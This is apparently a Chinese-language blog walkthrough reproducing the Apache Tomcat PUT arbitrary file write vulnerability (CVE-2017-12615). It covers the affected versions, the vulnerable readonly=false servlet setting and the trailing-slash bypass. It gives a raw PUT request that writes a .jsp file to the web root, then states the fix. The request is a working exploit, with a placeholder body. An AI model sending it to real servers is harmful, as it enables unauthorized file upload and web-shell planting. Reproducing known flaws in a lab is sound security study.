Tomcat PUT方法任意写入文件漏洞复现(CVE-2017-12615)

271 阅读1分钟

一、漏洞描述

影响版本:Apache Tomcat 7.0.0-7.0.81

二、漏洞原理

Tomcat设置了写许可权(readonly = false),这导致我们可以将文件写到服务器中。

<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    <init-param>
        <param-name>debug</param-name>
        <param-value>0</param-value>
    </init-param>
    <init-param>
        <param-name>listings</param-name>
        <param-value>false</param-value>
    </init-param>
    <init-param>
        <param-name>readonly</param-name>
        <param-value>false</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>

尽管Tomcat在某种程度上检查了文件后缀(无法直接编写jsp),但是我们仍然可以通过某些文件系统功能(例如/在Linux中使用)来绕过该限制。

三、环境搭建

在这里插入图片描述

四、漏洞复现

POC
直接发送以下数据包,然后将外壳程序写入Web根目录。

PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

shell

在这里插入图片描述
在这里插入图片描述
另外还有绕过上传的方法,链接:www.cnblogs.com/backlion/p/…

五、漏洞修复

将readonly=true,默认为true。

更多web安全工具与存在漏洞的网站搭建源码,收集整理在知识星球。
在这里插入图片描述